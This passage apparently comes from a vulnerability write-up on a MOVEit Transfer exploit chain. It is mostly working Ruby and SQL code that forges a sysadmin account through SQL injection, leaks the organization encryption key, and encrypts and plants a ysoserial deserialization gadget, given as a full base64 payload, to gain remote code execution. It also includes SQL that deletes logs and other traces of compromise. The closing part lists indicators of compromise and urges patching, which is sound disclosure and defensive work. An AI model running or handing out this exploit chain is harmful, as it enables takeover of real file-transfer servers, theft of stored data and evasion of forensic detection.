System.Convert.FromBase64String(CGKI.GKIS(1845332329897477212L, 4637843192103954791L, 1234463786088007299L, 8498588879767226209L, 3995686897690123380L)); default: throw new ApplicationException("Unknown secret type " + type); }
We can observe that a password is hashed using MD5 along with a salt value and two static “secret” values called pwpre
and pwpost
. These static values will have a base64 encoded value of =VT2jkEH3vAs=
and =0maaSIA5oy0=
respectively.
We can therefore generate a known password using a hashing algorithm that does not require the “Org Key” with the following Ruby.
def makev1password(password, salt='AAAA') raise "password cannot be empty" if password.empty? raise "salt must be 4 bytes" if salt.length != 4 # These two hardcoded values are found in MOVEit.DMZ.Core.Cryptography.Providers.SecretProvider.GetSecret pwpre = Base64.decode64('=VT2jkEH3vAs=') pwpost = Base64.decode64('=0maaSIA5oy0=') md5 = Digest::MD5.new md5.update(pwpre) md5.update(salt) md5.update(password) md5.update(pwpost) pw = [(4+4+16), 0, 0, 0].pack('CCCC') pw << salt pw << md5.digest return Base64.strict_encode64(pw).gsub('+','-') end hax_username = rand_string(8) hax_loginname = rand_string(8) hax_password = rand_string(8)
With a known password generated and hashed into the correct format, we can create a new sysadmin
user by leveraging the SQLi with the following statements.
"INSERT INTO moveittransfer.users (Username) VALUES ('#{hax_username}')", "UPDATE moveittransfer.users SET LoginName='#{hax_loginname}' WHERE Username='#{hax_username}'", "UPDATE moveittransfer.users SET InstID='#{instid}' WHERE Username='#{hax_username}'", "UPDATE moveittransfer.users SET Password='#{makev1password(hax_password, rand_string(4))}' WHERE Username='#{hax_username}'", "UPDATE moveittransfer.users SET Permission='40' WHERE Username='#{hax_username}'", "UPDATE moveittransfer.users SET CreateStamp=NOW() WHERE Username='#{hax_username}'",
Get an API Token
We can now use our new sysadmin
account and login to the REST API using the username and password we just created. A POST request to the /api/v1/token
endpoint (as documented here) will return an access_token
which will allow us to call all the available REST APIs.
token_response = HTTParty.post( "#{TARGET}/api/v1/token", verify: false, headers: { 'Content-Type' => 'application/x-www-form-urlencoded', }, follow_redirects: false, body: "grant_type=password&username=#{hax_loginname}&password=#{hax_password}", ) if token_response.code != 200 raise "Couldn't get API token (#{token_response.body})" end token_json = JSON.parse(token_response.body) log("Got API access token='#{token_json['access_token']}'.")
Find a Folder ID
To perform a file upload we must first know the ID number of a folder within MOVEit Transfer. Calling the API endpoint /api/v1/folders
will return a JSON array of folders in the system, allowing us to locate a suitable folder ID.
folders_response = HTTParty.get( "#{TARGET}/api/v1/folders", verify: false, headers: { 'Authorization' => "Bearer #{token_json['access_token']}", }, follow_redirects: false, ) if folders_response.code != 200 raise "Couldn't get API folders (#{folders_response.body})" end folders_json = JSON.parse(folders_response.body) log("Found folderId '#{folders_json['items'][0]['id']}'.")
Begin a Resumable File Upload
The deserialization vulnerability we want to target occurs during the resumption of a file upload. Therefore to reach this code path we must first begin a new resumable file upload by calling the endpoint /api/v1/folders/{id}/files?uploadType=resumable
. This will create an entry in the database table moveittransfer.files
to store metadata about the file being uploaded, and the table moveittransfer.fileuploadinfo
to store state information about the file upload.
uploadfile_name = rand_string(8) uploadfile_size = 8 uploadfile_data = rand_string(uploadfile_size) files_response = HTTParty.post( "#{TARGET}/api/v1/folders/#{folders_json['items'][0]['id']}/files?uploadType=resumable", verify: false, headers: { 'Authorization' => "Bearer #{token_json['access_token']}", }, follow_redirects: false, multipart: true, body: { name: uploadfile_name, size: (uploadfile_size).to_s, comments: '' } ) if files_response.code != 200 raise "Couldn't post API files #1 (#{files_response.body})" end files_json = JSON.parse(files_response.body) log("Initiated resumable file upload for fileId '#{files_json['fileId']}'...")
Leak the Encryption Key
The resumable file uploads state information is stored as an encrypted serialized .NET object within the State
field in the moveittransfer.fileuploadinfo
table. In order to be able to plant a malicious deserialization gadget in this State
field we must be able to encrypt it. MOVEit Transfer will use an encryption key specific to the organization that the file is being uploaded to. The organization is typically identified by the InstID
value during API or database requests. As we are using a sysadmin
account we will need to leak out the encryption key for the organization with an InstID of 0
.
While this encryption key is stored in the Windows Registry, which we cannot access, fortunately for us a copy of the key is stored in the database table moveittransfer.registryaudit
with a KeyName
of Standard Networks\siLock\Institutions\0
. Of note is the MOVEit Transfer SSH private key is also stored in this table!
We can leak out the encryption key (or any other value in the database if we want) by leveraging the SQLi to write the value we want to leak into the metadata of the resumable file we are uploading, and then use the REST API to read back out the metadata. Specifically the following SQL will write the encryption key into the files metadata field UploadAgentBrand
. As our SQLi cannot include a forward slash character (\
) due to it being escaped, we search for the target entry via the CHAR_LENGTH
function. This works as all other InstId
values that are not 0
will be an integer with more than 1 character, allowing us to identify the desired entry by searching for a KeyName
with a specific length.
"UPDATE moveittransfer.files SET UploadAgentBrand=(SELECT PairValue FROM moveittransfer.registryaudit WHERE PairName='Key' AND CHAR_LENGTH(KeyName)=#{'Standard Networks\siLock\Institutions\0'.length}) WHERE ID='#{files_json['fileId']}'"
We can then leak out the encryption key with a GET request to the /api/v1/files/{id}
endpoint.
leak_response = HTTParty.get( "#{TARGET}/api/v1/files/#{files_json['fileId']}", verify: false, headers: { 'Authorization' => "Bearer #{token_json['access_token']}", }, follow_redirects: false, ) if leak_response.code != 200 raise "Couldn't post API files #LEAK (#{leak_response.body})" end leak_json = JSON.parse(leak_response.body) org_key = leak_json['uploadAgentBrand'] log("Leaked the Org Key: #{org_key}")
An example of a leaked 16 byte encryption key is 0B 52 CA 0B FA 01 6F 19 5E D3 61 B1 B9 2A DA 75
.
Encrypt a Deserialization Gadget
The unsafe .NET deserialization occurs within the MOVEit.DMZ.Application.Folders.ResumableUploadFilePartHandler
method during a BinaryFormatter.Deserialize
call.
// MOVEit.DMZ.Application.Folders.ResumableUploadFilePartHandler private FileTransferStream DeserializeFileUploadStream(DataFilePath filePath) { // …snip… using (MemoryStream serializationStream = new MemoryStream(this._uploadState)) return (FileTransferStream) new BinaryFormatter() { Context = new StreamingContext(StreamingContextStates.All, (object) additional) }.Deserialize((Stream) serializationStream); // <----
As such, we must identify a deserialization gadget that will work in the context of the MOVEit Transfer IIS Worker Process. Luckily we do not need to write a custom deserialization gadget, and instead can leverage the ysoserial.net tool to generate a suitable gadget. The TextFormattingRunProperties
gadget formatted for a BinaryFormatter
will achieve RCE when deserialized. We can generate this gadget to execute the command notepad.exe
as follows:
> ysoserial.exe --command=notepad.exe -o base64 -f BinaryFormatter -g TextFormattingRunProperties
A base64 encoded gadget will be emitted:
AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAugU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIG5vdGVwYWQuZXhlIiBTdGFuZGFyZEVycm9yRW5jb2Rpbmc9Int4Ok51bGx9IiBTdGFuZGFyZE91dHB1dEVuY29kaW5nPSJ7eDpOdWxsfSIgVXNlck5hbWU9IiIgUGFzc3dvcmQ9Int4Ok51bGx9IiBEb21haW49IiIgTG9hZFVzZXJQcm9maWxlPSJGYWxzZSIgRmlsZU5hbWU9ImNtZCIgLz4NCiAgICAgIDwvc2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgPC9zZDpQcm9jZXNzPg0KICA8L09iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs=
However we must now encrypt this gadget using the leaked organization key before we write it into the database.
After much reverse engineering, we identify the encryption algorithm to be AES-256-CBC
(As defined by MOVEit.Crypto.AesMOVEitCryptoTransform
) with a 16 byte Initialization Vector (IV) composed of the first 4 bytes of the SHA1 hash of the organization encryption key, repeated 4 times. The encryption key passed to AES is a 32 byte key composed of a static 12 byte value, the 16 byte organization key we leak and 4 null bytes. The static 12 byte value generated during MOVEit.DMZ.Core.Cryptography.Encryption.GetDatabaseEncryptionKey
and orgId
in this instance will be -1
.
// MOVEit.DMZ.Core.Cryptography.Encryption private static byte[] GetDatabaseEncryptionKey(int orgId, BaseKey baseKey) { byte[] sourceArray = ByteArrayUtility.Concat(ByteArrayUtility.Convert.FromHex(new CGetK().DoD(orgId >= 0 ? "u5RcVwB0hSLnaRdL14UmfCpj" : "Pm6XfoTpbShD8y2bcTWfGyBB")), baseKey.KeyBytes); byte[] destinationArray = new byte[32]; Array.Copy((Array) sourceArray, (Array) destinationArray, sourceArray.Length); return destinationArray; }
An encrypted value is formatted with a simple header structure defined by MOVEit.DMZ.Core.Cryptography.Providers.MOVEit.MOVEitV2EncryptedStringHeader
, that comprises a version number, a two byte hash of the data, a 4 bytes hash of the key used and the first 4 bytes of the IV (as the IV repeated 4 times, so it doesn’t need to stor all 16 bytes). Finally the header and encrypted data are base64 encoded and a tag value of @%!
is prepended.
MOVEit Transfer will call DBFieldEncrypt
when writing an encrypted string to the database and there is a decryption counterpart called DBFieldDecrypt
. We can see that a call to DBFieldEncrypt
will force the orgId
to be -1
which will influence both the static value chosen during GetDatabaseEncryptionKey
as well as forcing the organization 0
key to be used via the call to Encryption._orgKeyProvider.GetOrgKey(flag ? orgId : 0)
, hence why we choose to leak the organization 0
encryption key.
public string DBFieldEncrypt(string plainText) => Encryption.EncryptStringForDatabase(plainText); public static string EncryptStringForDatabase(string plainText, int orgId = -1) => !string.IsNullOrEmpty(plainText) ? Encryption.EncryptBytesForDatabase(MOVEit.DMZ.Core.Constants.Utf8Encoding.GetBytes(plainText), orgId) : string.Empty; // MOVEit.DMZ.Core.Cryptography.Encryption public static string EncryptBytesForDatabase(byte[] plainText, int orgId = -1, bool utf = true) { bool flag = orgId >= 0; OrgKey orgKey = Encryption._orgKeyProvider.GetOrgKey(flag ? orgId : 0); byte[] databaseEncryptionKey = Encryption.GetDatabaseEncryptionKey(orgId, (BaseKey) orgKey); string str = Encryption.EncryptBytes(plainText, databaseEncryptionKey, orgKey.IdBytes); return (utf ? (flag ? "#@%" : "@%!") : (flag ? "#%" : "@!")) + str; } private static string EncryptBytes(byte[] plainText, byte[] key, byte[] keyId = null) { keyId = keyId ?? new byte[4]; try { BaseKey baseKey = new BaseKey() { KeyBytes = key, IdBytes = keyId }; using (MemoryHeaderStream baseStream = new MemoryHeaderStream()) { using (EncryptedStream encryptionStream = Encryption._stringEncryptionStreamFactory.GetEncryptionStream((FileHeaderStream) baseStream, baseKey)) { encryptionStream.Write(plainText, 0, plainText.Length); encryptionStream.Finish(); return System.Convert.ToBase64String(baseStream.ToArray()); } } } catch (Exception ex) { throw new CryptographicException("Error encrypting data: " + ex.Message, ex); } }
Putting this all together we can now encrypt our deserialization gadget with the following:
def moveitv2encrypt(data, org_key, iv=nil, tag='@%!') raise "org_key must be 16 bytyes" if org_key.length != 16 if iv.nil? iv = rand_string(4) # as we only store the first 4 bytes in the header, the IV must be a repeating 4 byte sequence. iv = iv * 4 end # MOVEit.DMZ.Core.Cryptography.Encryption.GetDatabaseEncryptionKey key = [64, 131, 232, 51, 134, 103, 230, 30, 48, 86, 253, 157].pack('C*') key = key + org_key key = key + [0, 0, 0, 0].pack('C*') # MOVEit.Crypto.AesMOVEitCryptoTransform cipher = OpenSSL::Cipher.new('AES-256-CBC') cipher.encrypt cipher.key = key cipher.iv = iv encrypted_data = cipher.update(data) + cipher.final data_sha1_hash = Digest::SHA1.digest(data).unpack('C*') org_key_sha1_hash = Digest::SHA1.digest(org_key).unpack('C*') # MOVEit.DMZ.Core.Cryptography.Providers.MOVEit.MOVEitV2EncryptedStringHeader header = [ 225, # MOVEitV2EncryptedStringHeader 0, data_sha1_hash[0], data_sha1_hash[1], org_key_sha1_hash[0], org_key_sha1_hash[1], org_key_sha1_hash[2], org_key_sha1_hash[3], iv.unpack('C*')[0], iv.unpack('C*')[1], iv.unpack('C*')[2], iv.unpack('C*')[3], ].pack('C*') # MOVEit.DMZ.Core.Cryptography.Encryption.EncryptBytesForDatabase return tag + Base64.strict_encode64(header + encrypted_data) end org_key.gsub!(' ', '') org_key = [org_key].pack('H*').bytes.to_a.pack('C*') deserialization_gadget = moveitv2encrypt(gadget, org_key) log("Encrypted the gadget with Org Key: #{deserialization_gadget}")
Plant the Gadget
We can leverage the SQLi to write the encrypted deserialization gadget into the State
field of the moveittransfer.fileuploadinfo
table for the resumable file we have begun to upload, via the following SQL.
"UPDATE moveittransfer.fileuploadinfo SET State='#{deserialization_gadget}' WHERE FileID='#{files_json['fileId']}'"
Unsafe Deserialization
By performing a PUT request to the /api/v1/folders/{id}/files?uploadType=resumable&fileId={id}
API endpoint we will execute the method MOVEit.DMZ.Application.Folders.ResumableUploadFilePartHandler.GetUploadStream
.
log("Triggering gadget deserialization...") files_response = HTTParty.put( "#{TARGET}/api/v1/folders/#{folders_json['items'][0]['id']}/files?uploadType=resumable&fileId=#{files_json['fileId']}", verify: false, headers: { 'Authorization' => "Bearer #{token_json['access_token']}", 'Content-Type' => "application/octet-stream", 'Content-Range' => "bytes 0-#{uploadfile_size-1}/#{uploadfile_size}", 'X-File-Hash' => Digest::SHA1.hexdigest(uploadfile_data), }, follow_redirects: false, body: uploadfile_data[0,uploadfile_data.length] ) # 500 if payload runs :) if files_response.code != 500 raise "Couldn't post API files #2 code=#{files_response.code} (#{files_response.body})" end log("Gadget deserialized, RCE Achieved!")
The method GetUploadStream
first calls GetFileUploadInfo
to decrypt the file upload State
stored in the database. This is the field that holds our encrypted deserialization gadget. The decrypted gadget is stored in the _uploadState
member variable. Next a call to DeserializeFileUploadStream
occurs. This method will create a new BinaryFormatter
instance and deserialize our malicious gadget, allowing us to achieve RCE.
// MOVEit.DMZ.Application.Folders.ResumableUploadFilePartHandler public Stream GetUploadStream(FolderUploadFilePartRequest request) { this._folderId = request.Id; this._fileId = request.FileId; this._range = request.UploadRange; this._fileHash = request.FileHash; this._chunkSize = request.ChunkSize; if (!this.CheckIsFolderIdExists() || !this.CheckIsFileExists() || !this.GetFileUploadInfo() || !this.CheckRange()) // <---- read the gadget return Stream.Null; this._sendBytes = ((long?) this._range?.From).GetValueOrDefault(); if (!this._activeTransfersUpdateService.InitStatusConnection()) this._xferId = -1L; this._fileUploadStream = this.DeserializeFileUploadStream(new DataFilePath(this._orgId, this._targetFolderId, this._fileId));// <---- deserialize the gadget this.SubscribeToStreamEvents(); return (Stream) this._fileUploadStream; } private bool GetFileUploadInfo() { string tableNameAttribute1 = SqlTable.FileUploadInfo.GetTableNameAttribute(); string tableNameAttribute2 = SqlTable.Files.GetTableNameAttribute(); SILDictionary<string, string> silDictionary = new SQLBasicBuilder(this._globals.objWrap, SqlTable.FileUploadInfo).AddColumnToSelect(tableNameAttribute1, "Comment").AddColumnToSelect(tableNameAttribute1, "XferID").AddColumnToSelect(tableNameAttribute1, "State").AddLeftJoin(tableNameAttribute2, tableNameAttribute2 + ".ID=" + tableNameAttribute1 + ".FileID").AddAndToWhere(tableNameAttribute1 + ".FileID='" + this._fileId + "'").AddAndToWhere(tableNameAttribute2 + ".UploadUsername='" + this._currentUser.Username + "'").SelectQueryRow(); if (silDictionary == null) { this.SetParameterError(3800, 90512, this._fileId); return false; } this._originalUploadComment = this._globals.objUtility.DBFieldDecrypt(silDictionary["Comment"]); this._xferId = long.Parse(silDictionary["XferID"]); this._uploadState = System.Convert.FromBase64String(this._globals.objUtility.DBFieldDecrypt(silDictionary["State"])); // <---- decrypt our gadget and store it in _uploadState return true; } private FileTransferStream DeserializeFileUploadStream(DataFilePath filePath) { if (this._uploadState.Length == 0) return this.CreateFileUploadStream(filePath); int num = 1; FileHeaderStream additional; while (true) { try { additional = this._fileSystem.OpenWrite((FilePath) filePath); break; } catch (IOException ex) { this._globals.objDebug.Log(LogLev.SomeDebug, string.Format("{0}: Error opening file {1} for writing (try {2} of {3}): {4}", (object) nameof (ResumableUploadFilePartHandler), (object) filePath, (object) num, (object) 10, (object) ex.Message)); if (num == 10) { throw; } else { Thread.Sleep(1000); ++num; } } } using (MemoryStream serializationStream = new MemoryStream(this._uploadState)) return (FileTransferStream) new BinaryFormatter() { Context = new StreamingContext(StreamingContextStates.All, (object) additional) }.Deserialize((Stream) serializationStream); // <---- b00m! }
Delete the IOC’s
Finally after RCE has been achieved an attacker can clear almost all Indicators of Compromise (IOC) by leveraging the SQLi to perform the following statements.
"DELETE FROM moveittransfer.fileuploadinfo WHERE FileID='#{files_json['fileId']}'", # delete the deserialization payload "DELETE FROM moveittransfer.files WHERE UploadUsername='#{hax_username}'", # delete the file we uploaded "DELETE FROM moveittransfer.activesessions WHERE Username='#{hax_username}'", # "DELETE FROM moveittransfer.users WHERE Username='#{hax_username}'", # delete the user account we created "DELETE FROM moveittransfer.log WHERE Username='#{hax_username}'", # The web ASP stuff logs by username "DELETE FROM moveittransfer.log WHERE Username='#{hax_loginname}'", # The API logs by loginname "DELETE FROM moveittransfer.log WHERE Username='Guest:#{MYGUESTEMAILADDR}'", # The SQLi generates a guest log entry.
Indicators of Compromise
As we have seen, an attacker can leverage the SQLi to clear the database of almost all IOC’s. However there is one entry in the database the attacker cannot clear. When performing the final SQLi to delete all IOCs from the database, a single log entry will remain. This log entry is generated after the SQLi is performed and as such cannot be deleted via SQLi.
Notably the log entry will have an Action
of msg_post
and will contain the IP address of the attacker in the IPAddress
field and a timestamp in the LogTime
field. The other fields may contain values the attacker used when performing the SQLi, such as the MyGuestEmailAddr
value from the forged package used during SQLi.
mysql> SELECT * FROM moveittransfer.log; +-----+---------------------+----------+--------+-----------------------------+-----------+--------+---------------+-------+-------+-------+-------+-------+-------------------------------------------------+------------+--------------+----------+----------+----------+----------------------------+-----------+----------+------------+------------------------------------------+------+-----------------+----------------------------+-----------+---------------+--------------+ | ID | LogTime | Action | InstID | Username | FolderID | FileID | IPAddress | Error | Parm1 | Parm2 | Parm3 | Parm4 | Message | AgentBrand | AgentVersion | XferSize | Duration | FileName | FolderPath | ResilNode | TargetID | TargetName | Hash | Cert | VirtualFolderID | VirtualFolderPath | CScanName | InterfaceType | SuppressName | +-----+---------------------+----------+--------+-----------------------------+-----------+--------+---------------+-------+-------+-------+-------+-------+-------------------------------------------------+------------+--------------+----------+----------+----------+----------------------------+-----------+----------+------------+------------------------------------------+------+-----------------+----------------------------+-----------+---------------+--------------+ | 949 | 2023-06-13 01:41:39 | msg_post | 1234 | Guest:FPEXINWQ@TBTYAGYC.com | 963548454 | 0 | 192.168.86.35 | 4400 | | 0 | | | Package must have at least one valid recipient. | Ruby | | 0 | 0 | | /Messages/Global Messaging | 0 | | | 7765745e3ccc90e998a0adc749c3e66cd470315c | | 963548454 | /Messages/Global Messaging | | 10 | 0 | +-----+---------------------+----------+--------+-----------------------------+-----------+--------+---------------+-------+-------+-------+-------+-------+-------------------------------------------------+------------+--------------+----------+----------+----------+----------------------------+-----------+----------+------------+------------------------------------------+------+-----------------+----------------------------+-----------+---------------+--------------+ 1 row in set (0.01 sec)
A strong IOC may be present in the log file C:\MOVEitTransfer\Logs\DMZ_WebApi.log
. During deserialization of the malicious gadget an exception of type TargetInvocationException
will be thrown and the call stack will show the method MOVEit.DMZ.Application.Folders.ResumableUploadFilePartHandler.DeserializeFileUploadStream
which we know to be the method that contains the deserialization vulnerability.
2023-06-12 03:51:34.455 #0D z10 MOVEitApiExceptionLogger: Caught exception of type TargetInvocationException: Exception has been thrown by the target of an invocation. Stack trace: at System.RuntimeMethodHandle.SerializationInvoke(IRuntimeMethodInfo method, Object target, SerializationInfo info, StreamingContext& context) at System.Runtime.Serialization.ObjectManager.CompleteISerializableObject(Object obj, SerializationInfo info, StreamingContext context) at System.Runtime.Serialization.ObjectManager.FixupSpecialObject(ObjectHolder holder) at System.Runtime.Serialization.ObjectManager.DoFixups() at System.Runtime.Serialization.Formatters.Binary.ObjectReader.Deserialize(HeaderHandler handler, __BinaryParser serParser, Boolean fCheck, Boolean isCrossAppDomain, IMethodCallMessage methodCallMessage) at System.Runtime.Serialization.Formatters.Binary.BinaryFormatter.Deserialize(Stream serializationStream, HeaderHandler handler, Boolean fCheck, Boolean isCrossAppDomain, IMethodCallMessage methodCallMessage) at MOVEit.DMZ.Application.Folders.ResumableUploadFilePartHandler.DeserializeFileUploadStream(DataFilePath filePath) at MOVEit.DMZ.Application.Folders.ResumableUploadFilePartHandler.GetUploadStream(FolderUploadFilePartRequest request) at MOVEit.DMZ.WebApi.Controllers.FolderContentController.<UploadFilePart>d__13.MoveNext()
Guidance
If you run this software, we strongly recommend deploying this patch immediately, and validate whether you have already been compromised as outlined in our blog.
References
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: